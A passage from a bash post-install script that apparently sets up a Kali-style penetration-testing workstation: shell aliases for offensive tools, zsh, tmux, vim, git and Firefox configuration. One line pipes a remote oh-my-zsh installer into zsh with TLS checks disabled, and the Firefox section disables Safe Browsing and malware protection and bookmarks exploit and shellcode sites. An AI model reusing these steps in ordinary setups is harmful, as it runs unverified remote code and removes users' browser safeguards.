  933. for FILE in /etc/bash.bashrc ~/.bashrc ~/.bash_aliases; do #/etc/profile /etc/bashrc /etc/bash_aliases /etc/bash.bash_aliases
  934. [[ ! -f "${FILE}" ]] \
  935. && continue
  936. cp -n $FILE{,.bkup}
  937. sed -i 's/#alias/alias/g' "${FILE}"
  938. done
  939. #--- General system ones
  940. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup} #/etc/bash.bash_aliases
  941. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  942. grep -q '^## grep aliases' "${file}" 2>/dev/null \
  943. || echo -e '## grep aliases\nalias grep="grep --color=always"\nalias ngrep="grep -n"\n' >> "${file}"
  944. grep -q '^alias egrep=' "${file}" 2>/dev/null \
  945. || echo -e 'alias egrep="egrep --color=auto"\n' >> "${file}"
  946. grep -q '^alias fgrep=' "${file}" 2>/dev/null \
  947. || echo -e 'alias fgrep="fgrep --color=auto"\n' >> "${file}"
  948. #--- Add in ours (OS programs)
  949. grep -q '^alias tmux' "${file}" 2>/dev/null \
  950. || echo -e '## tmux\nalias tmux="tmux attach || tmux new"\n' >> "${file}" #alias tmux="tmux attach -t $HOST || tmux new -s $HOST"
  951. grep -q '^alias axel' "${file}" 2>/dev/null \
  952. || echo -e '## axel\nalias axel="axel -a"\n' >> "${file}"
  953. grep -q '^alias screen' "${file}" 2>/dev/null \
  954. || echo -e '## screen\nalias screen="screen -xRR"\n' >> "${file}"
  955. #--- Add in ours (shortcuts)
  956. grep -q '^## Checksums' "${file}" 2>/dev/null \
  957. || echo -e '## Checksums\nalias sha1="openssl sha1"\nalias md5="openssl md5"\n' >> "${file}"
  958. grep -q '^## Force create folders' "${file}" 2>/dev/null \
  959. || echo -e '## Force create folders\nalias mkdir="/bin/mkdir -pv"\n' >> "${file}"
  960. #grep -q '^## Mount' "${file}" 2>/dev/null \
  961. # || echo -e '## Mount\nalias mount="mount | column -t"\n' >> "${file}"
  962. grep -q '^## List open ports' "${file}" 2>/dev/null \
  963. || echo -e '## List open ports\nalias ports="netstat -tulanp"\n' >> "${file}"
  964. grep -q '^## Get header' "${file}" 2>/dev/null \
  965. || echo -e '## Get header\nalias header="curl -I"\n' >> "${file}"
  966. grep -q '^## Get external IP address' "${file}" 2>/dev/null \
  967. || echo -e '## Get external IP address\nalias ipx="curl -s http://ipinfo.io/ip"\n' >> "${file}"
  968. grep -q '^## DNS - External IP #1' "${file}" 2>/dev/null \
  969. || echo -e '## DNS - External IP #1\nalias dns1="dig +short @resolver1.opendns.com myip.opendns.com"\n' >> "${file}"
  970. grep -q '^## DNS - External IP #2' "${file}" 2>/dev/null \
  971. || echo -e '## DNS - External IP #2\nalias dns2="dig +short @208.67.222.222 myip.opendns.com"\n' >> "${file}"
  972. grep -q '^## DNS - Check' "${file}" 2>/dev/null \
  973. || echo -e '### DNS - Check ("#.abc" is Okay)\nalias dns3="dig +short @208.67.220.220 which.opendns.com txt"\n' >> "${file}"
  974. grep -q '^## Directory navigation aliases' "${file}" 2>/dev/null \
  975. || echo -e '## Directory navigation aliases\nalias ..="cd .."\nalias ...="cd ../.."\nalias ....="cd ../../.."\nalias .....="cd ../../../.."\n' >> "${file}"
  976. grep -q '^## Extract file' "${file}" 2>/dev/null \
  977. || cat <<EOF >> "${file}" \
  978. || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  979.  
  980. ## Extract file, example. "ex package.tar.bz2"
  981. ex() {
  982. if [[ -f \$1 ]]; then
  983. case \$1 in
  984. *.tar.bz2) tar xjf \$1 ;;
  985. *.tar.gz) tar xzf \$1 ;;
  986. *.bz2) bunzip2 \$1 ;;
  987. *.rar) rar x \$1 ;;
  988. *.gz) gunzip \$1 ;;
  989. *.tar) tar xf \$1 ;;
  990. *.tbz2) tar xjf \$1 ;;
  991. *.tgz) tar xzf \$1 ;;
  992. *.zip) unzip \$1 ;;
  993. *.Z) uncompress \$1 ;;
  994. *.7z) 7z x \$1 ;;
  995. *) echo \$1 cannot be extracted ;;
  996. esac
  997. else
  998. echo \$1 is not a valid file
  999. fi
  1000. }
  1001. EOF
  1002. grep -q '^## strings' "${file}" 2>/dev/null \
  1003. || echo -e '## strings\nalias strings="strings -a"\n' >> "${file}"
  1004. grep -q '^## history' "${file}" 2>/dev/null \
  1005. || echo -e '## history\nalias hg="history | grep"\n' >> "${file}"
  1006. grep -q '^## Network Services' "${file}" 2>/dev/null \
  1007. || echo -e '### Network Services\nalias listen="netstat -antp | grep LISTEN"\n' >> "${file}"
  1008. grep -q '^## HDD size' "${file}" 2>/dev/null \
  1009. || echo -e '### HDD size\nalias hogs="for i in G M K; do du -ah | grep [0-9]$i | sort -nr -k 1; done | head -n 11"\n' >> "${file}"
  1010. grep -q '^## Listing' "${file}" 2>/dev/null \
  1011. || echo -e '### Listing\nalias ll="ls -l --block-size=1 --color=auto"\n' >> "${file}"
  1012. #--- Add in tools
  1013. grep -q '^## nmap' "${file}" 2>/dev/null \
  1014. || echo -e '## nmap\nalias nmap="nmap --reason --open --stats-every 3m --max-retries 1 --max-scan-delay 20 --defeat-rst-ratelimit"\n' >> "${file}"
  1015. grep -q '^## aircrack-ng' "${file}" 2>/dev/null \
  1016. || echo -e '## aircrack-ng\nalias aircrack-ng="aircrack-ng -z"\n' >> "${file}"
  1017. grep -q '^## airodump-ng' "${file}" 2>/dev/null \
  1018. || echo -e '## airodump-ng \nalias airodump-ng="airodump-ng --manufacturer --wps --uptime"\n' >> "${file}"
  1019. grep -q '^## metasploit' "${file}" 2>/dev/null \
  1020. || (echo -e '## metasploit\nalias msfc="systemctl start postgresql; msfdb start; msfconsole -q \"\$@\""' >> "${file}" \
  1021. && echo -e 'alias msfconsole="systemctl start postgresql; msfdb start; msfconsole \"\$@\""\n' >> "${file}" )
  1022. [ "${openVAS}" != "false" ] \
  1023. && (grep -q '^## openvas' "${file}" 2>/dev/null \
  1024. || echo -e '## openvas\nalias openvas="openvas-stop; openvas-start; sleep 3s; xdg-open https://127.0.0.1:9392/ >/dev/null 2>&1"\n' >> "${file}")
  1025. grep -q '^## mana-toolkit' "${file}" 2>/dev/null \
  1026. || (echo -e '## mana-toolkit\nalias mana-toolkit-start="a2ensite 000-mana-toolkit;a2dissite 000-default; systemctl restart apache2"' >> "${file}" \
  1027. && echo -e 'alias mana-toolkit-stop="a2dissite 000-mana-toolkit; a2ensite 000-default; systemctl restart apache2"\n' >> "${file}" )
  1028. grep -q '^## ssh' "${file}" 2>/dev/null \
  1029. || echo -e '## ssh\nalias ssh-start="systemctl restart ssh"\nalias ssh-stop="systemctl stop ssh"\n' >> "${file}"
  1030. grep -q '^## samba' "${file}" 2>/dev/null \
  1031. || echo -e '## samba\nalias smb-start="systemctl restart smbd nmbd"\nalias smb-stop="systemctl stop smbd nmbd"\n' >> "${file}"
  1032. grep -q '^## rdesktop' "${file}" 2>/dev/null \
  1033. || echo -e '## rdesktop\nalias rdesktop="rdesktop -z -P -g 90% -r disk:local=\"/tmp/\""\n' >> "${file}"
  1034. #--- Add in folders
  1035. grep -q '^## www' "${file}" 2>/dev/null \
  1036. || echo -e '## www\nalias wwwroot="cd /var/www/html/"\n#alias www="cd /var/www/html/"\n' >> "${file}"
  1037. grep -q '^## ftp' "${file}" 2>/dev/null \
  1038. || echo -e '## ftp\nalias ftproot="cd /var/ftp/"\n' >> "${file}"
  1039. grep -q '^## tftp' "${file}" 2>/dev/null \
  1040. || echo -e '## tftp\nalias tftproot="cd /var/tftp/"\n' >> "${file}"
  1041. grep -q '^## smb' "${file}" 2>/dev/null \
  1042. || echo -e '## smb\nalias smb="cd /var/samba/"\n#alias smbroot="cd /var/samba/"\n' >> "${file}"
  1043. (dmidecode | grep -iq vmware) \
  1044. && (grep -q '^## vmware' "${file}" 2>/dev/null \
  1045. || echo -e '## vmware\nalias vmroot="cd /mnt/hgfs/"\n' >> "${file}")
  1046. grep -q '^## edb' "${file}" 2>/dev/null \
  1047. || echo -e '## edb\nalias edb="cd /usr/share/exploitdb/platforms/"\nalias edbroot="cd /usr/share/exploitdb/platforms/"\n' >> "${file}"
  1048. grep -q '^## wordlist' "${file}" 2>/dev/null \
  1049. || echo -e '## wordlist\nalias wordlists="cd /usr/share/wordlists/"\n' >> "${file}"
  1050. #--- Apply new aliases
  1051. source "${file}" || source ~/.zshrc
  1052. #--- Check
  1053. #alias
  1054.  
  1055.  
  1056. ##### Install (GNOME) Terminator
  1057. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing (GNOME) ${GREEN}Terminator${RESET} ~ multiple terminals in a single window"
  1058. apt -y -qq install terminator \
  1059. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1060. #--- Configure terminator
  1061. mkdir -p ~/.config/terminator/
  1062. file=~/.config/terminator/config; [ -e "${file}" ] && cp -n $file{,.bkup}
  1063. cat <<EOF > "${file}" \
  1064. || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  1065. [global_config]
  1066. enabled_plugins = TerminalShot, LaunchpadCodeURLHandler, APTURLHandler, LaunchpadBugURLHandler
  1067. [keybindings]
  1068. [profiles]
  1069. [[default]]
  1070. background_darkness = 0.9
  1071. scroll_on_output = False
  1072. copy_on_selection = True
  1073. background_type = transparent
  1074. scrollback_infinite = True
  1075. show_titlebar = False
  1076. [layouts]
  1077. [[default]]
  1078. [[[child1]]]
  1079. type = Terminal
  1080. parent = window0
  1081. [[[window0]]]
  1082. type = Window
  1083. parent = ""
  1084. [plugins]
  1085. EOF
  1086. #--- Set terminator for XFCE's default
  1087. mkdir -p ~/.config/xfce4/
  1088. file=~/.config/xfce4/helpers.rc; [ -e "${file}" ] && cp -n $file{,.bkup} #exo-preferred-applications #xdg-mime default
  1089. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1090. sed -i 's_^TerminalEmulator=.*_TerminalEmulator=debian-x-terminal-emulator_' "${file}" 2>/dev/null \
  1091. || echo -e 'TerminalEmulator=debian-x-terminal-emulator' >> "${file}"
  1092.  
  1093.  
  1094. ##### Install ZSH & Oh-My-ZSH - root user. Note: 'Open terminal here', will not work with ZSH. Make sure to have tmux already installed
  1095. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}ZSH${RESET} & ${GREEN}Oh-My-ZSH${RESET} ~ unix shell"
  1096. apt -y -qq install zsh git curl \
  1097. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1098. #--- Setup oh-my-zsh
  1099. timeout 300 curl --progress -k -L -f "https://github.com/robbyrussell/oh-my-zsh/raw/master/tools/install.sh" | zsh
  1100. #--- Configure zsh
  1101. file=~/.zshrc; [ -e "${file}" ] && cp -n $file{,.bkup} #/etc/zsh/zshrc
  1102. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1103. grep -q 'interactivecomments' "${file}" 2>/dev/null \
  1104. || echo 'setopt interactivecomments' >> "${file}"
  1105. grep -q 'ignoreeof' "${file}" 2>/dev/null \
  1106. || echo 'setopt ignoreeof' >> "${file}"
  1107. grep -q 'correctall' "${file}" 2>/dev/null \
  1108. || echo 'setopt correctall' >> "${file}"
  1109. grep -q 'globdots' "${file}" 2>/dev/null \
  1110. || echo 'setopt globdots' >> "${file}"
  1111. grep -q '.bash_aliases' "${file}" 2>/dev/null \
  1112. || echo 'source $HOME/.bash_aliases' >> "${file}"
  1113. grep -q '/usr/bin/tmux' "${file}" 2>/dev/null \
  1114. || echo '#if ([[ -z "$TMUX" && -n "$SSH_CONNECTION" ]]); then /usr/bin/tmux attach || /usr/bin/tmux new; fi' >> "${file}" # If not already in tmux and via SSH
  1115. #--- Configure zsh (themes) ~ https://github.com/robbyrussell/oh-my-zsh/wiki/Themes
  1116. sed -i 's/ZSH_THEME=.*/ZSH_THEME="mh"/' "${file}" # Other themes: mh, jreese, alanpeabody, candy, terminalparty, kardan, nicoulaj, sunaku
  1117. #--- Configure oh-my-zsh
  1118. sed -i 's/plugins=(.*)/plugins=(git git-extras tmux last-working-dir dirhistory python pip)/' "${file}"
  1119. #--- Set zsh as default shell (current user)
  1120. chsh -s "$(which zsh)"
  1121.  
  1122.  
  1123. ##### Install tmux - all users
  1124. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}tmux${RESET} ~ multiplex virtual consoles"
  1125. apt -y -qq install tmux \
  1126. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1127. file=~/.tmux.conf; [ -e "${file}" ] && cp -n $file{,.bkup} #/etc/tmux.conf
  1128. #--- Configure tmux
  1129. cat <<EOF > "${file}" \
  1130. || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  1131. #-Settings---------------------------------------------------------------------
  1132. ## Make it like screen (use CTRL+a)
  1133. unbind C-b
  1134. set -g prefix C-a
  1135.  
  1136. ## Pane switching (SHIFT+ARROWS)
  1137. bind-key -n S-Left select-pane -L
  1138. bind-key -n S-Right select-pane -R
  1139. bind-key -n S-Up select-pane -U
  1140. bind-key -n S-Down select-pane -D
  1141.  
  1142. ## Windows switching (ALT+ARROWS)
  1143. bind-key -n M-Left previous-window
  1144. bind-key -n M-Right next-window
  1145.  
  1146. ## Windows re-ording (SHIFT+ALT+ARROWS)
  1147. bind-key -n M-S-Left swap-window -t -1
  1148. bind-key -n M-S-Right swap-window -t +1
  1149.  
  1150. ## Activity Monitoring
  1151. setw -g monitor-activity on
  1152. set -g visual-activity on
  1153.  
  1154. ## Set defaults
  1155. set -g default-terminal screen-256color
  1156. set -g history-limit 5000
  1157.  
  1158. ## Default windows titles
  1159. set -g set-titles on
  1160. set -g set-titles-string '#(whoami)@#H - #I:#W'
  1161.  
  1162. ## Last window switch
  1163. bind-key C-a last-window
  1164.  
  1165. ## Reload settings (CTRL+a -> r)
  1166. unbind r
  1167. bind r source-file /etc/tmux.conf
  1168.  
  1169. ## Load custom sources
  1170. #source ~/.bashrc #(issues if you use /bin/bash & Debian)
  1171.  
  1172. EOF
  1173. [ -e /bin/zsh ] \
  1174. && echo -e '## Use ZSH as default shell\nset-option -g default-shell /bin/zsh\n' >> "${file}"
  1175. cat <<EOF >> "${file}"
  1176. ## Show tmux messages for longer
  1177. set -g display-time 3000
  1178.  
  1179. ## Status bar is redrawn every minute
  1180. set -g status-interval 60
  1181.  
  1182.  
  1183. #-Theme------------------------------------------------------------------------
  1184. ## Default colours
  1185. set -g status-bg black
  1186. set -g status-fg white
  1187.  
  1188. ## Left hand side
  1189. set -g status-left-length '34'
  1190. set -g status-left '#[fg=green,bold]#(whoami)#[default]@#[fg=yellow,dim]#H #[fg=green,dim][#[fg=yellow]#(cut -d " " -f 1-3 /proc/loadavg)#[fg=green,dim]]'
  1191.  
  1192. ## Inactive windows in status bar
  1193. set-window-option -g window-status-format '#[fg=red,dim]#I#[fg=grey,dim]:#[default,dim]#W#[fg=grey,dim]'
  1194.  
  1195. ## Current or active window in status bar
  1196. #set-window-option -g window-status-current-format '#[bg=white,fg=red]#I#[bg=white,fg=grey]:#[bg=white,fg=black]#W#[fg=dim]#F'
  1197. set-window-option -g window-status-current-format '#[fg=red,bold](#[fg=white,bold]#I#[fg=red,dim]:#[fg=white,bold]#W#[fg=red,bold])'
  1198.  
  1199. ## Right hand side
  1200. set -g status-right '#[fg=green][#[fg=yellow]%Y-%m-%d #[fg=white]%H:%M#[fg=green]]'
  1201. EOF
  1202. #--- Setup alias
  1203. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup} #/etc/bash.bash_aliases
  1204. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1205. grep -q '^alias tmux' "${file}" 2>/dev/null \
  1206. || echo -e '## tmux\nalias tmux="tmux attach || tmux new"\n' >> "${file}" #alias tmux="tmux attach -t $HOST || tmux new -s $HOST"
  1207. #--- Apply new alias
  1208. source "${file}" || source ~/.zshrc
  1209.  
  1210.  
  1211. ##### Configure screen ~ if possible, use tmux instead!
  1212. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}screen${RESET} ~ multiplex virtual consoles"
  1213. #apt -y -qq install screen \
  1214. # || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1215. #--- Configure screen
  1216. file=~/.screenrc; [ -e "${file}" ] && cp -n $file{,.bkup}
  1217. if [[ -f "${file}" ]]; then
  1218. echo -e ' '${RED}'[!]'${RESET}" ${file} detected. Skipping..." 1>&2
  1219. else
  1220. cat <<EOF > "${file}"
  1221. ## Don't display the copyright page
  1222. startup_message off
  1223.  
  1224. ## tab-completion flash in heading bar
  1225. vbell off
  1226.  
  1227. ## Keep scrollback n lines
  1228. defscrollback 1000
  1229.  
  1230. ## Hardstatus is a bar of text that is visible in all screens
  1231. hardstatus on
  1232. hardstatus alwayslastline
  1233. hardstatus string '%{gk}%{G}%H %{g}[%{Y}%l%{g}] %= %{wk}%?%-w%?%{=b kR}(%{W}%n %t%?(%u)%?%{=b kR})%{= kw}%?%+w%?%?%= %{g} %{Y} %Y-%m-%d %C%a %{W}'
  1234.  
  1235. ## Title bar
  1236. termcapinfo xterm ti@:te@
  1237.  
  1238. ## Default windows (syntax: screen -t label order command)
  1239. screen -t bash1 0
  1240. screen -t bash2 1
  1241.  
  1242. ## Select the default window
  1243. select 0
  1244. EOF
  1245. fi
  1246.  
  1247.  
  1248. ##### Install vim - all users
  1249. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}vim${RESET} ~ CLI text editor"
  1250. apt -y -qq install vim \
  1251. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1252. #--- Configure vim
  1253. file=/etc/vim/vimrc; [ -e "${file}" ] && cp -n $file{,.bkup} #~/.vimrc
  1254. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1255. sed -i 's/.*syntax on/syntax on/' "${file}"
  1256. sed -i 's/.*set background=dark/set background=dark/' "${file}"
  1257. sed -i 's/.*set showcmd/set showcmd/' "${file}"
  1258. sed -i 's/.*set showmatch/set showmatch/' "${file}"
  1259. sed -i 's/.*set ignorecase/set ignorecase/' "${file}"
  1260. sed -i 's/.*set smartcase/set smartcase/' "${file}"
  1261. sed -i 's/.*set incsearch/set incsearch/' "${file}"
  1262. sed -i 's/.*set autowrite/set autowrite/' "${file}"
  1263. sed -i 's/.*set hidden/set hidden/' "${file}"
  1264. sed -i 's/.*set mouse=.*/"set mouse=a/' "${file}"
  1265. grep -q '^set number' "${file}" 2>/dev/null \
  1266. || echo 'set number' >> "${file}" # Add line numbers
  1267. grep -q '^set expandtab' "${file}" 2>/dev/null \
  1268. || echo -e 'set expandtab\nset smarttab' >> "${file}" # Set use spaces instead of tabs
  1269. grep -q '^set softtabstop' "${file}" 2>/dev/null \
  1270. || echo -e 'set softtabstop=4\nset shiftwidth=4' >> "${file}" # Set 4 spaces as a 'tab'
  1271. grep -q '^set foldmethod=marker' "${file}" 2>/dev/null \
  1272. || echo 'set foldmethod=marker' >> "${file}" # Folding
  1273. grep -q '^nnoremap <space> za' "${file}" 2>/dev/null \
  1274. || echo 'nnoremap <space> za' >> "${file}" # Space toggle folds
  1275. grep -q '^set hlsearch' "${file}" 2>/dev/null \
  1276. || echo 'set hlsearch' >> "${file}" # Highlight search results
  1277. grep -q '^set laststatus' "${file}" 2>/dev/null \
  1278. || echo -e 'set laststatus=2\nset statusline=%F%m%r%h%w\ (%{&ff}){%Y}\ [%l,%v][%p%%]' >> "${file}" # Status bar
  1279. grep -q '^filetype on' "${file}" 2>/dev/null \
  1280. || echo -e 'filetype on\nfiletype plugin on\nsyntax enable\nset grepprg=grep\ -nH\ $*' >> "${file}" # Syntax highlighting
  1281. grep -q '^set wildmenu' "${file}" 2>/dev/null \
  1282. || echo -e 'set wildmenu\nset wildmode=list:longest,full' >> "${file}" # Tab completion
  1283. grep -q '^set invnumber' "${file}" 2>/dev/null \
  1284. || echo -e ':nmap <F8> :set invnumber<CR>' >> "${file}" # Toggle line numbers
  1285. grep -q '^set pastetoggle=<F9>' "${file}" 2>/dev/null \
  1286. || echo -e 'set pastetoggle=<F9>' >> "${file}" # Hotkey - turning off auto indent when pasting
  1287. grep -q '^:command Q q' "${file}" 2>/dev/null \
  1288. || echo -e ':command Q q' >> "${file}" # Fix stupid typo I always make
  1289. #--- Set as default editor
  1290. export EDITOR="vim" #update-alternatives --config editor
  1291. file=/etc/bash.bashrc; [ -e "${file}" ] && cp -n $file{,.bkup}
  1292. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1293. grep -q '^EDITOR' "${file}" 2>/dev/null \
  1294. || echo 'EDITOR="vim"' >> "${file}"
  1295. git config --global core.editor "vim"
  1296. #--- Set as default mergetool
  1297. git config --global merge.tool vimdiff
  1298. git config --global merge.conflictstyle diff3
  1299. git config --global mergetool.prompt false
  1300.  
  1301.  
  1302. ##### Install git - all users
  1303. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}git${RESET} ~ revision control"
  1304. apt -y -qq install git \
  1305. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1306. #--- Set as default editor
  1307. git config --global core.editor "vim"
  1308. #--- Set as default mergetool
  1309. git config --global merge.tool vimdiff
  1310. git config --global merge.conflictstyle diff3
  1311. git config --global mergetool.prompt false
  1312. #--- Set as default push
  1313. git config --global push.default simple
  1314.  
  1315.  
  1316. ##### Setup firefox
  1317. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}firefox${RESET} ~ GUI web browser"
  1318. apt -y -qq install unzip curl firefox-esr \
  1319. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1320. #--- Configure firefox
  1321. export DISPLAY=:0.0
  1322. timeout 15 firefox >/dev/null 2>&1 # Start and kill. Files needed for first time run
  1323. timeout 5 killall -9 -q -w firefox-esr >/dev/null
  1324. file=$(find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -type f -name 'prefs.js' -print -quit)
  1325. [ -e "${file}" ] \
  1326. && cp -n $file{,.bkup} #/etc/firefox-esr/pref/*.js
  1327. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1328. sed -i 's/^.network.proxy.socks_remote_dns.*/user_pref("network.proxy.socks_remote_dns", true);' "${file}" 2>/dev/null \
  1329. || echo 'user_pref("network.proxy.socks_remote_dns", true);' >> "${file}"
  1330. sed -i 's/^.browser.safebrowsing.enabled.*/user_pref("browser.safebrowsing.enabled", false);' "${file}" 2>/dev/null \
  1331. || echo 'user_pref("browser.safebrowsing.enabled", false);' >> "${file}"
  1332. sed -i 's/^.browser.safebrowsing.malware.enabled.*/user_pref("browser.safebrowsing.malware.enabled", false);' "${file}" 2>/dev/null \
  1333. || echo 'user_pref("browser.safebrowsing.malware.enabled", false);' >> "${file}"
  1334. sed -i 's/^.browser.safebrowsing.remoteLookups.enabled.*/user_pref("browser.safebrowsing.remoteLookups.enabled", false);' "${file}" 2>/dev/null \
  1335. || echo 'user_pref("browser.safebrowsing.remoteLookups.enabled", false);' >> "${file}"
  1336. sed -i 's/^.*browser.startup.page.*/user_pref("browser.startup.page", 0);' "${file}" 2>/dev/null \
  1337. || echo 'user_pref("browser.startup.page", 0);' >> "${file}"
  1338. sed -i 's/^.*privacy.donottrackheader.enabled.*/user_pref("privacy.donottrackheader.enabled", true);' "${file}" 2>/dev/null \
  1339. || echo 'user_pref("privacy.donottrackheader.enabled", true);' >> "${file}"
  1340. sed -i 's/^.*browser.showQuitWarning.*/user_pref("browser.showQuitWarning", true);' "${file}" 2>/dev/null \
  1341. || echo 'user_pref("browser.showQuitWarning", true);' >> "${file}"
  1342. sed -i 's/^.*extensions.https_everywhere._observatory.popup_shown.*/user_pref("extensions.https_everywhere._observatory.popup_shown", true);' "${file}" 2>/dev/null \
  1343. || echo 'user_pref("extensions.https_everywhere._observatory.popup_shown", true);' >> "${file}"
  1344. sed -i 's/^.network.security.ports.banned.override/user_pref("network.security.ports.banned.override", "1-65455");' "${file}" 2>/dev/null \
  1345. || echo 'user_pref("network.security.ports.banned.override", "1-65455");' >> "${file}"
  1346. #--- Replace bookmarks (base: http://pentest-bookmarks.googlecode.com)
  1347. file=$(find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -type f -name 'bookmarks.html' -print -quit)
  1348. [ -e "${file}" ] \
  1349. && cp -n $file{,.bkup} #/etc/firefox-esr/profile/bookmarks.html
  1350. timeout 300 curl --progress -k -L -f "http://pentest-bookmarks.googlecode.com/files/bookmarksv1.5.html" > /tmp/bookmarks_new.html \
  1351. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading bookmarks_new.html" 1>&2 #***!!! hardcoded version! Need to manually check for updates
  1352. #--- Configure bookmarks
  1353. awk '!a[$0]++' /tmp/bookmarks_new.html \
  1354. | \egrep -v ">(Latest Headlines|Getting Started|Recently Bookmarked|Recent Tags|Mozilla Firefox|Help and Tutorials|Customize Firefox|Get Involved|About Us|Hacker Media|Bookmarks Toolbar|Most Visited)</" \
  1355. | \egrep -v "^ </DL><p>" \
  1356. | \egrep -v "^<DD>Add" > "${file}"
  1357. sed -i 's#^</DL><p># </DL><p>\n </DL><p>\n</DL><p>#' "${file}" # Fix import issues from pentest-bookmarks...
  1358. sed -i 's#^ <DL><p># <DL><p>\n <DT><A HREF="http://127.0.0.1/">localhost</A>#' "${file}" # Add localhost to bookmark toolbar (before hackery folder)
  1359. sed -i 's#^</DL><p># <DT><A HREF="https://127.0.0.1:8834/">Nessus</A>\n</DL><p>#' "${file}" # Add Nessus UI bookmark toolbar
  1360. [ "${openVAS}" != "false" ] \
  1361. && sed -i 's#^</DL><p># <DT><A HREF="https://127.0.0.1:9392/">OpenVAS</A>\n</DL><p>#' "${file}" # Add OpenVAS UI to bookmark toolbar
  1362. sed -i 's#^</DL><p># <DT><A HREF="http://127.0.0.1:3000/ui/panel">BeEF</A>\n</DL><p>#' "${file}" # Add BeEF UI to bookmark toolbar
  1363. sed -i 's#^</DL><p># <DT><A HREF="http://127.0.0.1/rips/">RIPS</A>\n</DL><p>#' "${file}" # Add RIPs to bookmark toolbar
  1364. sed -i 's#^</DL><p># <DT><A HREF="https://paulschou.com/tools/xlate/">XLATE</A>\n</DL><p>#' "${file}" # Add XLATE to bookmark toolbar
  1365. sed -i 's#^</DL><p># <DT><A HREF="https://hackvertor.co.uk/public">HackVertor</A>\n</DL><p>#' "${file}" # Add HackVertor to bookmark toolbar
  1366. sed -i 's#^</DL><p># <DT><A HREF="http://www.irongeek.com/skiddypad.php">SkiddyPad</A>\n</DL><p>#' "${file}" # Add Skiddypad to bookmark toolbar
  1367. sed -i 's#^</DL><p># <DT><A HREF="https://www.exploit-db.com/search/">Exploit-DB</A>\n</DL><p>#' "${file}" # Add Exploit-DB to bookmark toolbar
  1368. sed -i 's#^</DL><p># <DT><A HREF="http://offset-db.com/">Offset-DB</A>\n</DL><p>#' "${file}" # Add Offset-DB to bookmark toolbar
  1369. sed -i 's#^</DL><p># <DT><A HREF="http://shell-storm.org/shellcode/">Shelcodes</A>\n</DL><p>#' "${file}" # Add Shelcodes to bookmark toolbar
  1370. sed -i 's#^</DL><p># <DT><A HREF="http://ropshell.com/">ROP Shell</A>\n</DL><p>#' "${file}" # Add ROP Shell to bookmark toolbar
  1371. sed -i 's#^</DL><p># <DT><A HREF="https://ifconfig.io/">ifconfig</A>\n</DL><p>#' "${file}" # Add ifconfig.io to bookmark toolbar
  1372. sed -i 's#<HR>#<DT><H3 ADD_DATE="1303667175" LAST_MODIFIED="1303667175" PERSONAL_TOOLBAR_FOLDER="true">Bookmarks Toolbar</H3>\n<DD>Add bookmarks to this folder to see them displayed on the Bookmarks Toolbar#' "${file}"
  1373. #--- Clear bookmark cache
  1374. find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -mindepth 1 -type f -name "places.sqlite" -delete
  1375. find ~/.mozilla/firefox/*.default*/bookmarkbackups/ -type f -delete
  1376. #--- Set firefox for XFCE's default
  1377. mkdir -p ~/.config/xfce4/
  1378. file=~/.config/xfce4/helpers.rc; [ -e "${file}" ] && cp -n $file{,.bkup} #exo-preferred-applications #xdg-mime default
  1379. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1380. sed -i 's#^WebBrowser=.*#WebBrowser=firefox#' "${file}" 2>/dev/null \
  1381. || echo -e 'WebBrowser=firefox' >> "${file}"
  1382.  
  1383.  
  1384. ##### Setup firefox's plugins
  1385. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}firefox's plugins${RESET} ~ useful addons"
  1386. #--- Configure firefox
  1387. export DISPLAY=:0.0
  1388. #--- Download extensions
  1389. ffpath="$(find ~/.mozilla/firefox/*.default*/ -maxdepth 0 -mindepth 0 -type d -name '*.default*' -print -quit)/extensions"
  1390. [ "${ffpath}" == "/extensions" ] \
  1391. && echo -e ' '${RED}'[!]'${RESET}" Couldn't find Firefox folder" 1>&2
  1392. mkdir -p "${ffpath}/"
  1393. #--- plug-n-hack
  1394. #curl --progress -k -L -f "https://github.com/mozmark/ringleader/blob/master/fx_pnh.xpi?raw=true????????????????" \
